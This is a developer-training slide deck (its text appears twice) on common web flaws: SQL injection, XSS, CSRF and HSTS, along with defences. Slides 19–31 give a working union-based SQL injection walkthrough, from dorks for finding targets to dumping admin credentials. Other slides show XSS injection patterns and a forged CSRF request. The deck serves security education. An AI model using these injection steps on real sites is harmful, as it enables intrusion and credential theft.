Widespread security flaws in web
application development
Martin Ahchiev
Content is available under a Creative Commons 3.0 License unless otherwise noted.
2Widespread security flaws in web application development
FOCUS ON COMMON SECURITY
CHALLENGES
YOU ALREADY NEED TO KNOW
WEB PROGRAMMING
3Widespread security flaws in web application development
FACT:
THE VAST
MAJORITY OF WEB
APPLICATION HAVE
SECURITY VULNERABILITIES!
MOST DEVELOPERS NOT AWARE OF THE ISSUES
4Widespread security flaws in web application development
5Widespread security flaws in web application development
Attacker can access unauthorized data!
They use your website to attack your
users
We will cover many attacks later in this
demo
Most Sites Not Secure
6Widespread security flaws in web application development
 The WEB wasn’t designed to be secure!
 Built for static, read-only pages
 Almost no intrinsic security
 A few security features were “bolted on”
later
 Security and defensive development
style
HTTP History
7Widespread security flaws in web application development
DATABASE
BROWSER
FIREWALL
WEB SERVER
WEB SERVICE
ACCESS CONTROLAUTH SERVICE
XSS
CSRF
PACKET
SNIFFING
FORGED
TOKEN DIRECT
OBJECT
REFERENCE
SQL
INJECTION
DIRECTORY
TRAVERSAL
XML
INJECTION
8Widespread security flaws in web application development
OWASP - The Ten Most Critical Web
Application Security Risks
SANS Institute - CWE/SANS TOP 25 Most
Dangerous Software Errors
Organizations that contributed vulnerability
statistics
 Aspect Security
 MITRE
 Softtek
 White Hat
Ranking of Web Security Vulnerabilities
9
In next 10 minutes…
Widespread security flaws in web application development
SQL Injection Explained
Hands-On Example
The Basic Fixes
More Resources
10
OWASP Top 10 - 2013
Widespread security flaws in web application development
INJECTION ATTACKS ARE A SERIOUS PROBLEM
“SQL Injection is an old problem –
so I don’t have to worry about it “
11
OWASP Top 10 - 2013
Widespread security flaws in web application development
12
Typical Scenario
Widespread security flaws in web application development
Our Users Will
Enter Their Name
Here
Bob
13
Typical Scenario
Widespread security flaws in web application development
Bob
WEB SERVER DATABASE
private void queryDB(String u_name) {
string sql = “SELECT * FROM users WHERE name = ‘ ” + u_name + “ ‘ ”;
doQuery(sql);
}
In Application Code
Bob
Bob
14
Typical Scenario
Widespread security flaws in web application development
DATABASE
SELECT * FROM users WHERE name = ‘Bob’
JUST RETURNS
ROWS FOR Bob
15
Typical Scenario
Widespread security flaws in web application development
THE APPLICATION SEEMS TO WORK
BUT IT’S NOT SECURE
16
SQL Injection Attack
Widespread security flaws in web application development
Our Users Will
Enter Their Name
Here
Bob’ or ‘1’=‘1’
17
SQL Injection Attack
Widespread security flaws in web application development
ob’ or ‘1’=‘1’
WEB SERVER DATABASE
private void queryDB(String u_name) {
string sql = “SELECT * FROM users WHERE name = ‘ ” + u_name + “ ‘ ”;
doQuery(sql);
}
In Application Code
Bob’ or ‘1’=‘1’
Bob’ or ‘1’=‘1’
18
SQL Injection Attack
Widespread security flaws in web application development
DATABASE
SELECT * FROM users WHERE name = ‘Bob’ or ‘1’=‘1’
JUST RETURNS ROWS
FOR Bob OR WHENEVER
ONE EQUALS ONE
(ALL ROWS)
19
Hands-On Example: Step 1
Widespread security flaws in web application development
HOW ATTACKERS SEARCH FOR TARGETS
 DORKS
 EXAMPLES:
1. "details.php?id=xxx"
2. "gallery.php?id="
3. inurl:"products.php?prodID="
20
Hands-On Example: Step 2
Widespread security flaws in web application development
HOW ATTAKERS TEST TARGETS FOR
VULNERABILITIES
http://www.localhost:999/newsdetails.aspx?id=51
21
Hands-On Example: Step 3
Widespread security flaws in web application development
HOW ATTACKERS TEST TARGETS FOR
VULNERABILITIES
Let’s add an single quote “ ‘ ”at the end of the URL
http://www.localhost:999/newsdetails.aspx?id=51‘
SQL Code:
SELECT * FROM NEWS WHERE id = 5 '
22
Hands-On Example: Step 4
Widespread security flaws in web application development
Finding the number of columns
 NoError/Error statements
 "order by X--" where "X" is a random integer number
 EXAMPLE:
http://www.localhost:999/newsdetail.php?id=51 order by 12--
23
Hands-On Example: Step 4
Widespread security flaws in web application development
How about we go down a bit to "order by 5--"
http://www.localhost:999/newsdetail.php?id=51 order by 5--
http://www.localhost:999/newsdetail.php?id=51 order by 4--
24
Hands-On Example: Step 5
Widespread security flaws in web application development
How attackers find Vulnerable Columns
 UNION SELECT command
 EXAMPLE:
SELECT * FROM users UNION SELECT * FROM admin
http://www.localhost:999/newsdetail.php?id=51+union+select+1,2,3
25
Hands-On Example: Step 5
Widespread security flaws in web application development
How attackers find Vulnerable Columns
 INVALIDATE THE FIRST QUERY
 EXAMPLES:
http://www.localhost:999/newsdetail.php?id=51+union+select+1,2,3
1. http://www.localhost:999/newsdetail.php?id=51+and+0+union+select+1,2,3
2. http://www.localhost:999/newsdetail.php?id=51+and+false+union+select+
1,2,3
3. http://www.localhost:999/newsdetail.php?id=-51+union+select+1,2,3
4. http://www.localhost:999/newsdetail.php?id=null+union+select+1,2,3
5. http://www.localhost:999/newsdetail.php?id=51+&&+0+union+select+1,2,3
26
Hands-On Example: Step 5
Widespread security flaws in web application development
How attackers find Vulnerable Columns
EXAMPLES:
http://www.localhost:999/newsdetail.php?id=-51+union+select+1,2,3
27
Hands-On Example: Step 6
Widespread security flaws in web application development
Obtaining the SQL Version
 @@version
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,@@version,3
 convert(@@version using latin1)
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,convert(@@version using latin1),3
 unhex(hex(@@version))
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,unhex(hex(@@version)),3
28
Hands-On Example: Step 6
Widespread security flaws in web application development
Obtaining the SQL Version
database() - find the current database
user() - find the user information
@@hostname - current hosting info
@@datadir - directory of the data of the website
29
Hands-On Example: Step 7
Widespread security flaws in web application development
Obtaining the Table Names
 information_schema.tables
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,table_name,3+from+information_schema.tab
 group_concat()
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,group_concat(table_name),3 from
information_schema.tables
30
Hands-On Example: Step 8
Widespread security flaws in web application development
Obtaining the Column Names form
Table Names
 informaiton_schema.columns instead of
informtion_schema.tables
 column_name instead of table_name
 +from+information_schema.columns where
table_name=TableNameHEX - tblAdmin
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,group_concat(column_name),3 from
information_schema.columns where table_name=0x74626c61646d696e--
31
Hands-On Example: Step 9
Widespread security flaws in web application development
Getting Data from Columns
 concat() function
 Separator = 0x3a (a hex for a colon " : ")
 table name = tbladmin
 http://www.md5decrypter.co.uk
http://www.localhost:999/newsdetail.php?id=-51
+union+select+1,concat(username,0x3a,password),3+from+tblAd
min
32
SQL Injection
Widespread security flaws in web application development
 SQL INJECTION = HUGE RISK
 CAN COMPROMISE ALL YOUR DATA
 SINGLE INJECTION FLAW CAN LEAD
TO COMPLETE SERVER TAKEOVER!
33
Defense Against SQL Injection
Widespread security flaws in web application development
HOW CAN WE DEFEND OURSELVES?
 Prepared Statements
 Stored Procedures
 Escaping All User Supplied Input
 Least Privilege
 White List Input Validation
34
Parameterized Queries
Widespread security flaws in web application development
Prepared Statements
String custname = request.getParameter("customerName");
// This should REALLY be validated
String query = "SELECT account_balance FROM
user_data WHERE user_name = ? ";
PreparedStatement pstmt =
connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
Data from user
35
Parameterized Queries
Widespread security flaws in web application development
Stored Procedures
String custname = request.getParameter("customerName");
// This should REALLY be validated
try {
CallableStatement cs =
connection.prepareCall("{call sp_getAccountBalance(?)}");
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) { // … logging and error handling }
36
SQL Injection Prevention
Widespread security flaws in web application development
 Least Privilege - Always minimize database
privileges to reduce the impact of a flaw
 White List Input Validation
"(555)123-1234",
"555.123.1234", and
"555";DROP TABLE USER;--123.1234“
all convert to 5551231234
37
SQL Injection Prevention
Widespread security flaws in web application development
NOW YOU KNOW THE BASICS
BUT YOU NEED TO KNOW MOREPrepared
Statements
Stored
Procedure
Escaping
38
Cross - Site Scripting (XSS)
Widespread security flaws in web application development
XSS Explained
Three Examples of XSS
The Basic Fixes
More Resources
39
OWASP Top 10 - 2013
Widespread security flaws in web application development
40
EXAMPLE #1
Widespread security flaws in web application development
TARGET OF XSS
A BRIEF COMPARISON
OF SQL INJECTION
AND XSS
THE TARGET OF SQL INJECTION IS
THE DATABASE SERVER
THE TARGET OF XSS ARE
OTHER USERS
41Widespread security flaws in web application development
GOAL: DISTRIBUTES MALICIOUS SCRIPTS
XSS DEFINED:
XSS IS SCRIPT INJECTION
42Widespread security flaws in web application development
Attacker VideoTutorialsSite
Cross-Site Scripting
43Widespread security flaws in web application development
VideoTutorialsSite
44
EXAMPLE #2
Widespread security flaws in web application development
VideoTutorialsSite
Description
BROWSER
XSS IN MORE DETAIL…
45
EXAMPLE #2
Widespread security flaws in web application development
XSS IN MORE DETAIL…
<HTML>
<BODY>
<H1>Upload Video</H1>
<H2>Description</H2>
</BODY>
</HTML>
Static Content
User Supplied
Content
Video Training Description
46Widespread security flaws in web application development
VideoTutorialsSite
47
EXAMPLE #2
Widespread security flaws in web application development
Static Content
User Supplied
Content Video Training Description
48
Normal Execution Flow
Widespread security flaws in web application development
THE APPLICATION SEEMS TO WORK
BUT IT’S NOT SECURE
49
EXAMPLE #2
Widespread security flaws in web application development
VideoTutorialsSite
Video Training Description
<script>/*Evil code*/</script>
50
EXAMPLE #2
Widespread security flaws in web application development
XSS IN MORE DETAIL…
<HTML>
<BODY>
<H1>Upload Video</H1>
<H2>Description</H2>
</BODY>
</HTML>
Static Content
User Supplied
Content
Video Training Description
<script>/*Evil code*/</script>
51Widespread security flaws in web application development
VideoTutorialsSite
EXAMPLE #2
52
EXAMPLE #2
Widespread security flaws in web application development
Video Training Description
<script>/*Evil code*/</script>
Attackers Can Use
JavaScript to ….
 Steal your session ID
 Rewrite any part of the
HTML page
 Overlay the Login
Screen with their own,
to steal the username
and password
53Widespread security flaws in web application development
CAN WE BLOCK THE
<script> TAG
AND BE SAFE?
NO
54Widespread security flaws in web application development
EXAMPLE #3
XSS without <script> tag
55
EXAMPLE #3
Widespread security flaws in web application development
RESULTING CODE SNIPPET
Enter your name:
<input type=“text” id=“uname”
value=“”
/>
GUEST BOOK
Alice
“Alice”
56Widespread security flaws in web application development
NOW CONSIDER THIS INPUT
Alice” onmouseover=“/*evil_action*/
EXAMPLE #3
57
EXAMPLE #3
Widespread security flaws in web application development
RESULTING CODE SNIPPET
Enter your name:
<input type=“text” id=“uname”
value=“”
/>
GUEST BOOK
Alice” onmouseover=“/*evil*/
“Alice” onmouseover=“/*evil*/“
58Widespread security flaws in web application development
HOW DO WE STOP XSS?
59
XSS Fixes
Widespread security flaws in web application development
 Developers fails to properly validate and
encode the input data
 XSS can only be prevented by secure
coding practices
 Encoding must be contextual!
60
XSS Fixes
Widespread security flaws in web application development
 PARTIAL LISTING
OF CONTEXTS
 EACH CONTEXT
MUST BE ENCODED
DIFFERENTLY
<HTML>
<HEAD>
</HEAD>
</HTML>
<STYLE>
Property: …
</STYLE>
<SCRIPT>
alert(‘…’)
</SCRIPT>
<BODY>
…
</BODY>
<img src=“…”/>
<div attr=“…”></div>
61
More Resources
Widespread security flaws in web application development
NOW YOU KNOW THE BASICS
BUT YOU NEED TO KNOW MORE
7 XSS
PREVENTION
RULES
62
More Resources
Widespread security flaws in web application development
Multiple
Contextual
Encodings
63
CSRF
Widespread security flaws in web application development
 sea surf
 one-click attack
 session riding
Cross Site Request Forgery abbreviated as
CSRF and XSRF is also known as:
64
OWASP Top 10 - 2013
Widespread security flaws in web application development
65Widespread security flaws in web application development
Typical CSRF Scenario
e-Banking
Attacker’s website
Auth
Request
Site loaded
Malicious
link
Malicious
Request embedded
Authenticated request
66Widespread security flaws in web application development
CSRF Attack in more detail..
e-Banking
Authenticated request to transfer money online
Mr. Victim
HTTP POST https://mybank.com/transfer
Auth-cookie: 5234d574s4
TargetAccountNumber: 53645634635785
Amount:2000.00
Attacker forges request
67
CSRF Prevention
Widespread security flaws in web application development
 Validating a secret token
Include a secret token with each request and to validate
that the received token is correctly bound to the user's
session.
 Validating the HTTP Referer header
Accept requests only from trusted sources by verifying
the referer header.
68
More resources
Widespread security flaws in web application development
69Widespread security flaws in web application development
HTTP Strict
Transport Security
HSTS
70Widespread security flaws in web application development
Common attack vectors
SSL
downgrading
SSL
Stripping
Use of fake
of SSL certs
Attacks
71Widespread security flaws in web application development
Problem:
Sensitive data
transmitted in
the
clear…
Bob
**********
72Widespread security flaws in web application development
Problem:
Sensitive data
transmitted in
the
clear…
73Widespread security flaws in web application development
EXAMPLE #1
HTTPS Only
During
Login
74Widespread security flaws in web application development
Example #1
Corporate eMail
Credentials
75Widespread security flaws in web application development
Example #1
Corporate eMail
List of e-mails
Session Cookie
List of e-mails
Session Cookie
Session Hijacking
76Widespread security flaws in web application development
Using HTTPS, the attacker could see the
password
But they were able to steal the session cookie
and see all transmitted data
Solution: Move entire site to HTTPS
HTTPS ensures authenticity, and prevents
spaying
HTTPS
There Are Still Several Risks…
77Widespread security flaws in web application development
EXAMPLE #2
MAN-In-the-Middle
78Widespread security flaws in web application development
Example #2
Corporate eMail
Credentials
http://www.corp-email.com
302
redirect
https://www.corp-email.com
Credentials
The unsecured HTTP Request is vulnerable to attack
79Widespread security flaws in web application development
Example #2
Corporate eMail
Man-In-The-Middle Attack
80Widespread security flaws in web application development
Example #2
SOLUTION:
STRICT TRANSPORT SECURITY
HTTP HEADER
81Widespread security flaws in web application development
HSTS
 The header is sent over secure connection
 HSTS converts HTTP links to HTTPS in browser
 Conversion happens entirely in the browser
 The security flag also prevents accepting untrusted
connections
82Widespread security flaws in web application development
83Widespread security flaws in web application development
84Widespread security flaws in web application development
HSTS
The HSTS is language independent
Only requires to put the header in any
response
The HSTS flag will ONLY be honored if sent
over HTTPS!
85Widespread security flaws in web application development
Browsers
86
More resources
Widespread security flaws in web application development
87Widespread security flaws in web application development
This demo is only
a starting point…
Conclusions &
Recommendations
88Widespread security flaws in web application development
Content is available under a Creative Commons 3.0 License unless otherwise noted.
martin@ahchiev.com

Widespread security flaws in web application development 2015

  • 1.
    Widespread security flawsin web application development Martin Ahchiev Content is available under a Creative Commons 3.0 License unless otherwise noted.
  • 2.
    2Widespread security flawsin web application development FOCUS ON COMMON SECURITY CHALLENGES YOU ALREADY NEED TO KNOW WEB PROGRAMMING
  • 3.
    3Widespread security flawsin web application development FACT: THE VAST MAJORITY OF WEB APPLICATION HAVE SECURITY VULNERABILITIES! MOST DEVELOPERS NOT AWARE OF THE ISSUES
  • 4.
    4Widespread security flawsin web application development
  • 5.
    5Widespread security flawsin web application development Attacker can access unauthorized data! They use your website to attack your users We will cover many attacks later in this demo Most Sites Not Secure
  • 6.
    6Widespread security flawsin web application development  The WEB wasn’t designed to be secure!  Built for static, read-only pages  Almost no intrinsic security  A few security features were “bolted on” later  Security and defensive development style HTTP History
  • 7.
    7Widespread security flawsin web application development DATABASE BROWSER FIREWALL WEB SERVER WEB SERVICE ACCESS CONTROLAUTH SERVICE XSS CSRF PACKET SNIFFING FORGED TOKEN DIRECT OBJECT REFERENCE SQL INJECTION DIRECTORY TRAVERSAL XML INJECTION
  • 8.
    8Widespread security flawsin web application development OWASP - The Ten Most Critical Web Application Security Risks SANS Institute - CWE/SANS TOP 25 Most Dangerous Software Errors Organizations that contributed vulnerability statistics  Aspect Security  MITRE  Softtek  White Hat Ranking of Web Security Vulnerabilities
  • 9.
    9 In next 10minutes… Widespread security flaws in web application development SQL Injection Explained Hands-On Example The Basic Fixes More Resources
  • 10.
    10 OWASP Top 10- 2013 Widespread security flaws in web application development INJECTION ATTACKS ARE A SERIOUS PROBLEM “SQL Injection is an old problem – so I don’t have to worry about it “
  • 11.
    11 OWASP Top 10- 2013 Widespread security flaws in web application development
  • 12.
    12 Typical Scenario Widespread securityflaws in web application development Our Users Will Enter Their Name Here Bob
  • 13.
    13 Typical Scenario Widespread securityflaws in web application development Bob WEB SERVER DATABASE private void queryDB(String u_name) { string sql = “SELECT * FROM users WHERE name = ‘ ” + u_name + “ ‘ ”; doQuery(sql); } In Application Code Bob Bob
  • 14.
    14 Typical Scenario Widespread securityflaws in web application development DATABASE SELECT * FROM users WHERE name = ‘Bob’ JUST RETURNS ROWS FOR Bob
  • 15.
    15 Typical Scenario Widespread securityflaws in web application development THE APPLICATION SEEMS TO WORK BUT IT’S NOT SECURE
  • 16.
    16 SQL Injection Attack Widespreadsecurity flaws in web application development Our Users Will Enter Their Name Here Bob’ or ‘1’=‘1’
  • 17.
    17 SQL Injection Attack Widespreadsecurity flaws in web application development ob’ or ‘1’=‘1’ WEB SERVER DATABASE private void queryDB(String u_name) { string sql = “SELECT * FROM users WHERE name = ‘ ” + u_name + “ ‘ ”; doQuery(sql); } In Application Code Bob’ or ‘1’=‘1’ Bob’ or ‘1’=‘1’
  • 18.
    18 SQL Injection Attack Widespreadsecurity flaws in web application development DATABASE SELECT * FROM users WHERE name = ‘Bob’ or ‘1’=‘1’ JUST RETURNS ROWS FOR Bob OR WHENEVER ONE EQUALS ONE (ALL ROWS)
  • 19.
    19 Hands-On Example: Step1 Widespread security flaws in web application development HOW ATTACKERS SEARCH FOR TARGETS  DORKS  EXAMPLES: 1. "details.php?id=xxx" 2. "gallery.php?id=" 3. inurl:"products.php?prodID="
  • 20.
    20 Hands-On Example: Step2 Widespread security flaws in web application development HOW ATTAKERS TEST TARGETS FOR VULNERABILITIES http://www.localhost:999/newsdetails.aspx?id=51
  • 21.
    21 Hands-On Example: Step3 Widespread security flaws in web application development HOW ATTACKERS TEST TARGETS FOR VULNERABILITIES Let’s add an single quote “ ‘ ”at the end of the URL http://www.localhost:999/newsdetails.aspx?id=51‘ SQL Code: SELECT * FROM NEWS WHERE id = 5 '
  • 22.
    22 Hands-On Example: Step4 Widespread security flaws in web application development Finding the number of columns  NoError/Error statements  "order by X--" where "X" is a random integer number  EXAMPLE: http://www.localhost:999/newsdetail.php?id=51 order by 12--
  • 23.
    23 Hands-On Example: Step4 Widespread security flaws in web application development How about we go down a bit to "order by 5--" http://www.localhost:999/newsdetail.php?id=51 order by 5-- http://www.localhost:999/newsdetail.php?id=51 order by 4--
  • 24.
    24 Hands-On Example: Step5 Widespread security flaws in web application development How attackers find Vulnerable Columns  UNION SELECT command  EXAMPLE: SELECT * FROM users UNION SELECT * FROM admin http://www.localhost:999/newsdetail.php?id=51+union+select+1,2,3
  • 25.
    25 Hands-On Example: Step5 Widespread security flaws in web application development How attackers find Vulnerable Columns  INVALIDATE THE FIRST QUERY  EXAMPLES: http://www.localhost:999/newsdetail.php?id=51+union+select+1,2,3 1. http://www.localhost:999/newsdetail.php?id=51+and+0+union+select+1,2,3 2. http://www.localhost:999/newsdetail.php?id=51+and+false+union+select+ 1,2,3 3. http://www.localhost:999/newsdetail.php?id=-51+union+select+1,2,3 4. http://www.localhost:999/newsdetail.php?id=null+union+select+1,2,3 5. http://www.localhost:999/newsdetail.php?id=51+&&+0+union+select+1,2,3
  • 26.
    26 Hands-On Example: Step5 Widespread security flaws in web application development How attackers find Vulnerable Columns EXAMPLES: http://www.localhost:999/newsdetail.php?id=-51+union+select+1,2,3
  • 27.
    27 Hands-On Example: Step6 Widespread security flaws in web application development Obtaining the SQL Version  @@version http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,@@version,3  convert(@@version using latin1) http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,convert(@@version using latin1),3  unhex(hex(@@version)) http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,unhex(hex(@@version)),3
  • 28.
    28 Hands-On Example: Step6 Widespread security flaws in web application development Obtaining the SQL Version database() - find the current database user() - find the user information @@hostname - current hosting info @@datadir - directory of the data of the website
  • 29.
    29 Hands-On Example: Step7 Widespread security flaws in web application development Obtaining the Table Names  information_schema.tables http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,table_name,3+from+information_schema.tab  group_concat() http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,group_concat(table_name),3 from information_schema.tables
  • 30.
    30 Hands-On Example: Step8 Widespread security flaws in web application development Obtaining the Column Names form Table Names  informaiton_schema.columns instead of informtion_schema.tables  column_name instead of table_name  +from+information_schema.columns where table_name=TableNameHEX - tblAdmin http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=0x74626c61646d696e--
  • 31.
    31 Hands-On Example: Step9 Widespread security flaws in web application development Getting Data from Columns  concat() function  Separator = 0x3a (a hex for a colon " : ")  table name = tbladmin  http://www.md5decrypter.co.uk http://www.localhost:999/newsdetail.php?id=-51 +union+select+1,concat(username,0x3a,password),3+from+tblAd min
  • 32.
    32 SQL Injection Widespread securityflaws in web application development  SQL INJECTION = HUGE RISK  CAN COMPROMISE ALL YOUR DATA  SINGLE INJECTION FLAW CAN LEAD TO COMPLETE SERVER TAKEOVER!
  • 33.
    33 Defense Against SQLInjection Widespread security flaws in web application development HOW CAN WE DEFEND OURSELVES?  Prepared Statements  Stored Procedures  Escaping All User Supplied Input  Least Privilege  White List Input Validation
  • 34.
    34 Parameterized Queries Widespread securityflaws in web application development Prepared Statements String custname = request.getParameter("customerName"); // This should REALLY be validated String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( ); Data from user
  • 35.
    35 Parameterized Queries Widespread securityflaws in web application development Stored Procedures String custname = request.getParameter("customerName"); // This should REALLY be validated try { CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}"); cs.setString(1, custname); ResultSet results = cs.executeQuery(); // … result set handling } catch (SQLException se) { // … logging and error handling }
  • 36.
    36 SQL Injection Prevention Widespreadsecurity flaws in web application development  Least Privilege - Always minimize database privileges to reduce the impact of a flaw  White List Input Validation "(555)123-1234", "555.123.1234", and "555";DROP TABLE USER;--123.1234“ all convert to 5551231234
  • 37.
    37 SQL Injection Prevention Widespreadsecurity flaws in web application development NOW YOU KNOW THE BASICS BUT YOU NEED TO KNOW MOREPrepared Statements Stored Procedure Escaping
  • 38.
    38 Cross - SiteScripting (XSS) Widespread security flaws in web application development XSS Explained Three Examples of XSS The Basic Fixes More Resources
  • 39.
    39 OWASP Top 10- 2013 Widespread security flaws in web application development
  • 40.
    40 EXAMPLE #1 Widespread securityflaws in web application development TARGET OF XSS A BRIEF COMPARISON OF SQL INJECTION AND XSS THE TARGET OF SQL INJECTION IS THE DATABASE SERVER THE TARGET OF XSS ARE OTHER USERS
  • 41.
    41Widespread security flawsin web application development GOAL: DISTRIBUTES MALICIOUS SCRIPTS XSS DEFINED: XSS IS SCRIPT INJECTION
  • 42.
    42Widespread security flawsin web application development Attacker VideoTutorialsSite Cross-Site Scripting
  • 43.
    43Widespread security flawsin web application development VideoTutorialsSite
  • 44.
    44 EXAMPLE #2 Widespread securityflaws in web application development VideoTutorialsSite Description BROWSER XSS IN MORE DETAIL…
  • 45.
    45 EXAMPLE #2 Widespread securityflaws in web application development XSS IN MORE DETAIL… <HTML> <BODY> <H1>Upload Video</H1> <H2>Description</H2> </BODY> </HTML> Static Content User Supplied Content Video Training Description
  • 46.
    46Widespread security flawsin web application development VideoTutorialsSite
  • 47.
    47 EXAMPLE #2 Widespread securityflaws in web application development Static Content User Supplied Content Video Training Description
  • 48.
    48 Normal Execution Flow Widespreadsecurity flaws in web application development THE APPLICATION SEEMS TO WORK BUT IT’S NOT SECURE
  • 49.
    49 EXAMPLE #2 Widespread securityflaws in web application development VideoTutorialsSite Video Training Description <script>/*Evil code*/</script>
  • 50.
    50 EXAMPLE #2 Widespread securityflaws in web application development XSS IN MORE DETAIL… <HTML> <BODY> <H1>Upload Video</H1> <H2>Description</H2> </BODY> </HTML> Static Content User Supplied Content Video Training Description <script>/*Evil code*/</script>
  • 51.
    51Widespread security flawsin web application development VideoTutorialsSite EXAMPLE #2
  • 52.
    52 EXAMPLE #2 Widespread securityflaws in web application development Video Training Description <script>/*Evil code*/</script> Attackers Can Use JavaScript to ….  Steal your session ID  Rewrite any part of the HTML page  Overlay the Login Screen with their own, to steal the username and password
  • 53.
    53Widespread security flawsin web application development CAN WE BLOCK THE <script> TAG AND BE SAFE? NO
  • 54.
    54Widespread security flawsin web application development EXAMPLE #3 XSS without <script> tag
  • 55.
    55 EXAMPLE #3 Widespread securityflaws in web application development RESULTING CODE SNIPPET Enter your name: <input type=“text” id=“uname” value=“” /> GUEST BOOK Alice “Alice”
  • 56.
    56Widespread security flawsin web application development NOW CONSIDER THIS INPUT Alice” onmouseover=“/*evil_action*/ EXAMPLE #3
  • 57.
    57 EXAMPLE #3 Widespread securityflaws in web application development RESULTING CODE SNIPPET Enter your name: <input type=“text” id=“uname” value=“” /> GUEST BOOK Alice” onmouseover=“/*evil*/ “Alice” onmouseover=“/*evil*/“
  • 58.
    58Widespread security flawsin web application development HOW DO WE STOP XSS?
  • 59.
    59 XSS Fixes Widespread securityflaws in web application development  Developers fails to properly validate and encode the input data  XSS can only be prevented by secure coding practices  Encoding must be contextual!
  • 60.
    60 XSS Fixes Widespread securityflaws in web application development  PARTIAL LISTING OF CONTEXTS  EACH CONTEXT MUST BE ENCODED DIFFERENTLY <HTML> <HEAD> </HEAD> </HTML> <STYLE> Property: … </STYLE> <SCRIPT> alert(‘…’) </SCRIPT> <BODY> … </BODY> <img src=“…”/> <div attr=“…”></div>
  • 61.
    61 More Resources Widespread securityflaws in web application development NOW YOU KNOW THE BASICS BUT YOU NEED TO KNOW MORE 7 XSS PREVENTION RULES
  • 62.
    62 More Resources Widespread securityflaws in web application development Multiple Contextual Encodings
  • 63.
    63 CSRF Widespread security flawsin web application development  sea surf  one-click attack  session riding Cross Site Request Forgery abbreviated as CSRF and XSRF is also known as:
  • 64.
    64 OWASP Top 10- 2013 Widespread security flaws in web application development
  • 65.
    65Widespread security flawsin web application development Typical CSRF Scenario e-Banking Attacker’s website Auth Request Site loaded Malicious link Malicious Request embedded Authenticated request
  • 66.
    66Widespread security flawsin web application development CSRF Attack in more detail.. e-Banking Authenticated request to transfer money online Mr. Victim HTTP POST https://mybank.com/transfer Auth-cookie: 5234d574s4 TargetAccountNumber: 53645634635785 Amount:2000.00 Attacker forges request
  • 67.
    67 CSRF Prevention Widespread securityflaws in web application development  Validating a secret token Include a secret token with each request and to validate that the received token is correctly bound to the user's session.  Validating the HTTP Referer header Accept requests only from trusted sources by verifying the referer header.
  • 68.
    68 More resources Widespread securityflaws in web application development
  • 69.
    69Widespread security flawsin web application development HTTP Strict Transport Security HSTS
  • 70.
    70Widespread security flawsin web application development Common attack vectors SSL downgrading SSL Stripping Use of fake of SSL certs Attacks
  • 71.
    71Widespread security flawsin web application development Problem: Sensitive data transmitted in the clear… Bob **********
  • 72.
    72Widespread security flawsin web application development Problem: Sensitive data transmitted in the clear…
  • 73.
    73Widespread security flawsin web application development EXAMPLE #1 HTTPS Only During Login
  • 74.
    74Widespread security flawsin web application development Example #1 Corporate eMail Credentials
  • 75.
    75Widespread security flawsin web application development Example #1 Corporate eMail List of e-mails Session Cookie List of e-mails Session Cookie Session Hijacking
  • 76.
    76Widespread security flawsin web application development Using HTTPS, the attacker could see the password But they were able to steal the session cookie and see all transmitted data Solution: Move entire site to HTTPS HTTPS ensures authenticity, and prevents spaying HTTPS There Are Still Several Risks…
  • 77.
    77Widespread security flawsin web application development EXAMPLE #2 MAN-In-the-Middle
  • 78.
    78Widespread security flawsin web application development Example #2 Corporate eMail Credentials http://www.corp-email.com 302 redirect https://www.corp-email.com Credentials The unsecured HTTP Request is vulnerable to attack
  • 79.
    79Widespread security flawsin web application development Example #2 Corporate eMail Man-In-The-Middle Attack
  • 80.
    80Widespread security flawsin web application development Example #2 SOLUTION: STRICT TRANSPORT SECURITY HTTP HEADER
  • 81.
    81Widespread security flawsin web application development HSTS  The header is sent over secure connection  HSTS converts HTTP links to HTTPS in browser  Conversion happens entirely in the browser  The security flag also prevents accepting untrusted connections
  • 82.
    82Widespread security flawsin web application development
  • 83.
    83Widespread security flawsin web application development
  • 84.
    84Widespread security flawsin web application development HSTS The HSTS is language independent Only requires to put the header in any response The HSTS flag will ONLY be honored if sent over HTTPS!
  • 85.
    85Widespread security flawsin web application development Browsers
  • 86.
    86 More resources Widespread securityflaws in web application development
  • 87.
    87Widespread security flawsin web application development This demo is only a starting point… Conclusions & Recommendations
  • 88.
    88Widespread security flawsin web application development Content is available under a Creative Commons 3.0 License unless otherwise noted. martin@ahchiev.com

Editor's Notes

  • #9 Класации Туториали Безплатни Фреймлъркова за разработка на сигурни приложения